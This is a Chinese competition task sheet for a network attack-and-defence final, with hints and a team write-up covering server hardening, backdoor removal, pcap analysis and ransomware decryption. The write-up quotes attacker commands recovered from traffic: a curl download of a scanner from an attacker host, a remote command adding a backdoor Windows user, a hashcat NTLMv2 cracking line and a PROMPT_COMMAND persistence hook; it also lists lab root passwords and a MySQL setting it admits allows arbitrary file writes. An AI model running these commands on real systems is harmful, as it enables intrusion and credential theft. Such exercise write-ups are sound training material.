第四届网络安全攻防大赛团队赛决赛任务书
资产信息
工资查询站点:
192.168.10.100
root/34h59tgwh3hrtg3wrhgs
禅道系统(流量包位于/root/目录):
192.168.10.145
root/sh91hrfhsd1eojfap93
企业内部平台(流量包位于/root/目录):
192.168.10.166
root/h398fnbdo13rjtgsojrghwe
流量分析附件(登录服务器下载流量包):
10.2.2.100
root/7bdzhc7q3oe0s0fqhfs
此外还存在攻击者跳板机器:
http://10.2.2.103:3000
比赛任务简介
题目
工资查询网站
- 1.SSH 加固(check)
任务描述:该服务器的 ssh 配置已经被攻击者进行恶意的修改,现在请你修正 ssh 的配置:
任务目标:
- 修改默认 SSH 端口为 56435。
- 实现仅允许公钥登录(修改之前注意添加自己的 sshkey 防止登录不上去)。
- 2.MySQL 加固(check)
任务描述:修改 MySQL 数据库的安全策略配置。
任务目标:
- 配置 MySQL 为非标准端口 55434。
- 配置禁止 mysql 读取和写入文件。
3.Web 漏洞加固(check)
任务描述:攻击者利用了网站漏洞获取的权限,现在请你修复网站中存在的 RCE 漏洞。
任务目标:修复 RCE 漏洞,添加内容过滤或其他防守方式(不可直接删除源码)。
-
4.后门排查_1(check)
任务描述:找到攻击者添加的所有后门并删除。
任务目标:删除后门。 -
5.后门排查_2(flag)
任务描述:攻击者利用某文件获得了 ROOT 权限,请找到该文件,提交该文件的 MD5 值(使用 md5sum 计
算)。
任务目标:提交提权文件的 MD5 值,flag 格式:flag{md5 值}。
禅道系统
1.Redis 修复及加固(check)
任务描述:服务器被入侵了,管理员发现黑客通过 redis 未授权访问攻击了服务器,请修复服务器中以下问题。
任务目标:修复 redis 未授权访问问题,并给 redis 加一个验证密码,该密码需要设置为 7gagyw341 。
2.木马清除(check)
任务描述:寻找攻击者留下的 webshell。
任务目标:找到 webshell 文件并删除(删除前记下冰蝎密码)。
3.恶意流量分析(flag)
任务描述:在 root 目录下存在一个流量包,找到攻击者所窃取的机密文件,并提交该文件的 md5 值作为 flag。
任务目标:找到攻击者窃取的文件,flag 格式:flag{md5 值}。
4.后门进程分析(flag)
任务描述:寻找并分析攻击者留下的恶意后门。
任务目标:找到攻击者的 ip+端口(提交 flag),flag 格式:flag{192.168.1.1/1234}。
5.后门进程清除(check)
任务描述:寻找并清除攻击者留下的所有的恶意后门。
任务目标:清除恶意后门(check)。
6.文件解密(flag)
任务描述:攻击者使用某勒索病毒将从数据库导出的 sql 文件进行加密,并且删除了原数据库。
任务目标:解密还原 sql 文件,并找到其中的 flag,flag 格式:flag{xxxxx}。
7.数据库恢复(check)
任务描述:根据上一题解密还原出来的 sql 文件,进行数据库恢复。
任务目标:恢复数据库。
企业内部平台
1.流量分析_1(flag)
任务描述:在 root 目录下存在一个数据包,确认并提交数据包中攻击者攻入后执行的第一个命令。
任务目标:提交攻击者在服务器上执行的第一个命令,如有空格,提交时删除空格,flag 格式:flag{xxxxx}。
2.流量分析_2(flag)
任务描述:攻击者从服务器中窃取了文件,请提交该文件的文件名。
任务目标:提交攻击者从服务器获取到的文件名(仅需文件名即可),flag 格式:flag{xxxxx}。
3.后门排查_3(flag)
任务描述:攻击者对系统命令进行了劫持,请找到该系统命令,并提交命令文件的 MD5 值如:1cb2657b8f56216
7c6f09042637a2759,ce67ab2763c7f1b1704fb67d7219133a。(使用 md5sum 命令计算)。
任务目标:提交被篡改命令的 MD5 值,flag 格式:flag{md5 值}。
4.后门排查_4(flag)
任务描述:攻击者上传了恶意程序,高度占用系统资源,请提交该恶意程序的 32 位 MD5 值(小写)。
任务目标:提交找到的攻击者留下的恶意程序的 MD5 值,flag 格式:flag{MD5 值}。
5.后门排查_5(flag)
任务描述:攻击者对系统函数调用进行了劫持,请提交攻击者利用的配置文件的 32 位 MD5 值(小写)。
任务目标:找到被攻击者篡改过的文件,并提价该文件的 MD5 值,flag 格式:flag{xxxxx}。
流量分析附件
已知攻击者还横向到了内网的 Windows 服务器,应急人员将流量进行了抓取,请登录服务器下载流量包
attack.pcapng,对该流量进行分析。
1.流量分析_3(flag)
任务描述:攻击者对目标 10.2.2.103 进行了扫描,请提交攻击者扫描到的开放端口,端口以从低至高排序,
如:11,12,13,15。
任务目标:提交 10.2.2.103 开放的端口,flag 格式:flag{22,25,80}。
2.流量分析_4(flag)
任务描述:攻击者对目标的 Redis 服务进行了认证登录,请提交攻击者登录成功使用的密码。
任务目标:提交 Redis 服务的密码;flag 格式:flag{123456}。
3.流量分析_5(flag)
任务描述:攻击者在 10.2.2.103 上命令执行下载了恶意扫描程序,请提交该程序的 32 位 MD5 值(小写)。
任务目标:提交恶意扫描程序的 MD5 值,flag 格式:flag{MD5 值}。
4.流量分析_6(flag)
任务描述:攻击者成功获得 10.2.2.93 主机上的一对用户名和密码,请提交攻击者获取到的用户名和密码。
提交格式:username:password。
任务目标:解密并提交攻击者获取到的用户名和密码,flag 格式:flag{admini:123}。
5.流量分析_7(flag)
任务描述:攻击者向 10.2.2.93 中添加了后门用户,请提交该用户的用户名和密码。提交格式:
username:password。
任务目标:提交后门用户的用户名和密码,如有空格,提交时删除空格,flag 格式:flag{admin:1234}。
攻击者机器(反制)
1.溯源反制(flag)
任务描述:反制攻击者跳板机,获取跳板机上的 flag。
任务目标:提交攻击者跳板机上的 flag,flag 格式:flag{xxxxx}。
2.站点加固(check)
任务描述:删除攻击者在服务器站点上创建的用户。
任务目标:找到攻击者攻击时创建的用户并删除。
3.漏洞修复(check)任务描述:关闭攻击者利用的网站功能点,防止攻击者再次攻击。
任务目标:关闭高危功能点。
题目提示
「流量分析_2」 继续追踪流量包即可文件名
「流量分析_1」 Log4j2流量 反向链接
「后门进程分析」计划
「恶意流量分析」 窃取sql文件
「后门进程清除」 看看用户 看看环境
「⽊⻢清除」 .文件
「Redis修复及加固」 config set
「流量分析_5」 找到反弹shell流量分析
「流量分析_4」 那么多登录流量总有个成功的
「流量分析_3」 注意下tcp syn标志
「MySQL加固」 secure_file_priv参数的重要性
「后门排查_2」 MySQL用户自定义函数文件通常保存在数据库插件目录
「后门排查_1」 恶意的sshkey
「SSH 加固」 修改配置文件:/etc/ssh/sshd_config
公钥的配置为:PasswordAuthentication
WriteUp
有些队友做的 自己复现可能不对,看个乐吧。
工资查询站点:
1.SSH 加固(check)
添加 ssh 公钥到 /root/.ssh/authorized_keys
修改 /etc/ssh/sshd_config
#PermitRootLogin yes # 注释掉
PubkeyAuthentication yes
Port 56435
service ssh restart
2.MySQL 加固(check)
/etc/mysql/mariadb.conf.d/50-server.cnf
[mysqld]
下添加
port=55434
secure_file_priv = ''
实际上 '' 为任意写。生产环境中设置为指定目录。并限制权限。
3.Web 漏洞加固(check)
请求路径过滤..
4.后门排查_1(check)
服务器公钥里删除一条
5.后门排查_2(flag)
任务描述:攻击者利用某文件获得了 ROOT 权限,请找到该文件,提交该文件的 MD5 值(使用 md5sum 计
算)。
任务目标:提交提权文件的 MD5 值,flag 格式:flag{md5 值}。
后门排查 3 4 5
/etc/profile 发现
PROMPT_COMMAND=nohup /usr/local/tomcat/include/dnsmasq
/usr/bin/netstat 时间不对,提交成功
/usr/local/lib/libuClibc-0.9.27.so 时间不对,提交成功
禅道
1.Redis 修复及加固(check)
/etc/redis/redis.conf
requirepass 7gagyw341
service redis restart
2.木马清除(check)
冰蝎.checkdatabase.php
3.恶意流量分析(flag)
md5sum.exe ".checkdatabase(89) MySQL dump.php" 这个导出全部http 看最大的
4.后门进程分析(flag)
ps -ef 得出 flag{192.210.207.136/1234}
5.后门进程清除(check)
忘了
6.文件解密(flag)
通过 cyog 程序 aes 加密
加密前进行位移,异或
bool __fastcall bitwise_confusion(__int64 a1)
{...for ( i = std::vector<char>::size(a1); ; i = std::vector<char>::size(a1) ){v2 = (_BYTE *)std::vector<char>::operator[](a1, v5);v3 = ((2 * *v2) | (*v2 >> 7)) ^ 0x5A;*(_BYTE *)std::vector<char>::operator[](a1, v5++) = v3;}return result;
}
逆向解密, aes gcm 解密。
IV是12字节。
最后16位是tag。解密后异或回去
import numpy as np
from Cryptodome.Cipher import AES
def bitwise_decode(data):data = np.frombuffer(data, dtype=np.uint8)data_xor = data ^ 0x5aresult = (data_xor >> 1) | (data_xor << 7)result.tofile('output.txt')print('open output.txt')key = bytes.fromhex('D51F534F95E12BD375C0A94FFE81B193128456789ABCDEF01122334455667788')
iv = bytes.fromhex('BAD64CD49169CF189F7590A100000000')[:12]cipher_decrypt = AES.new(key, AES.MODE_GCM, nonce=iv)
fdata = open('zentao.sql.cyog', 'rb').read()
ciphertext, tag = fdata[:-16], fdata[-16:]
decrypted_data = cipher_decrypt.decrypt_and_verify(ciphertext, tag)
bitwise_decode(decrypted_data)
7.数据库恢复(check)
直接自建数据库。
或者用上面的恢复。
流量分析
1.流量分析_3(flag)
任务描述:攻击者对目标 10.2.2.103 进行了扫描,请提交攻击者扫描到的开放端口,端口以从低至高排序,
如:11,12,13,15。
任务目标:提交 10.2.2.103 开放的端口,flag 格式:flag{22,25,80}。
看tcp syn标志位。
21,22,80,81,82,83,84,85,86,87,88,89,90,91,92,98,99,135,139,443,445,800,801,808,880,888,889,1000,1010,1080,1081,1082,1099,1118,1433,1521,1888,2008,2020,2100,2375,2379,3000,3008,3128,3306,3505,5432,5555,6080,6379,6648,6868,7000,7001,7002,7003,7004,7005,7007,7008,7070,7071,7074,7078,7080,7088,7200,7680,7687,7688,7777,7890,8000,8001,8002,8003,8004,8006,8008,8009,8010,8011,8012,8016,8018,8020,8028,8030,8038,8042,8044,8046,8048,8053,8060,8069,8070,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8091,8092,8093,8094,8095,8096,8097,8098,8099,8100,8101,8108,8118,8161,8172,8180,8181,8200,8222,8244,8258,8280,8288,8300,8360,8443,8448,8484,8800,8834,8838,8848,8858,8868,8879,8880,8881,8888,8899,8983,8989,9000,9001,9002,9008,9010,9043,9060,9080,9081,9082,9083,9084,9085,9086,9087,9088,9089,9090,9091,9092,9093,9094,9095,9096,9097,9098,9099,9100,9200,9443,9448,9800,9981,9986,9988,9998,9999,10000,10001,10002,10004,10008,10010,10250,11211,12018,12443,14000,16080,18000,18001,18002,18004,18008,18080,18082,18088,18090,18098,19001,20000,20720,20880,21000,21501,21502,27017,28018
2.流量分析_4(flag)
任务描述:攻击者对目标的 Redis 服务进行了认证登录,请提交攻击者登录成功使用的密码。
任务目标:提交 Redis 服务的密码;flag 格式:flag{123456}。
包8196 请求后返回正确。 密码为 1234qwer
3.流量分析_5(flag)
任务描述:攻击者在 10.2.2.103 上命令执行下载了恶意扫描程序,请提交该程序的 32 位 MD5 值(小写)。
任务目标:提交恶意扫描程序的 MD5 值,flag 格式:flag{MD5 值}。
包8303
curl http://10.2.2.45:8090/fscan_amd64 -o /tmp/fs
4.流量分析_6(flag)
任务描述:攻击者成功获得 10.2.2.93 主机上的一对用户名和密码,请提交攻击者获取到的用户名和密码。
提交格式:username:password。
任务目标:解密并提交攻击者获取到的用户名和密码,flag 格式:flag{admini:123}。
NTLMv2 爆破
hashcat -m 5600 ADMINISTRATOR:::ba68290fac565191:14915e4c59df6ad05be0718cc31b7d9f:0101000000000000188af072f187d90162767134724579680000000002001e00570049004e002d004800310056004500500038004f00330033003200390001001e00570049004e002d004800310056004500500038004f00330033003200390004001e00570049004e002d004800310056004500500038004f00330033003200390003001e00570049004e002d004800310056004500500038004f00330033003200390007000800188af072f187d9010900280063006900660073002f00570049004e002d004800310056004500500038004f0033003300320039000000000000000000 rockyou.txt --force
密码为 admin007
5.流量分析_7(flag)
任务描述:攻击者向 10.2.2.93 中添加了后门用户,请提交该用户的用户名和密码。提交格式:
username:password。
任务目标:提交后门用户的用户名和密码,如有空格,提交时删除空格,flag 格式:flag{admin:1234}。
包21056 看到 jacky
用户, 向前找
包20983看到 %COMSPEC% /Q /c echo net user jacky "i love jacky" /add ^> \\127.0.0.1\C$\__output 2^>^&1 > %TEMP%\execute.bat & %COMSPEC% /Q /c %TEMP%\execute.bat & del %TEMP%\execute.bat
密码为 i love jacky
攻击者机器(反制)
1.溯源反制(flag)
yapi 漏洞利用
cat /flag
2.站点加固(check)
删除网站应用系统的用户.
3.漏洞修复(check)任务描述:关闭攻击者利用的网站功能点,防止攻击者再次攻击。
yapi 漏洞修复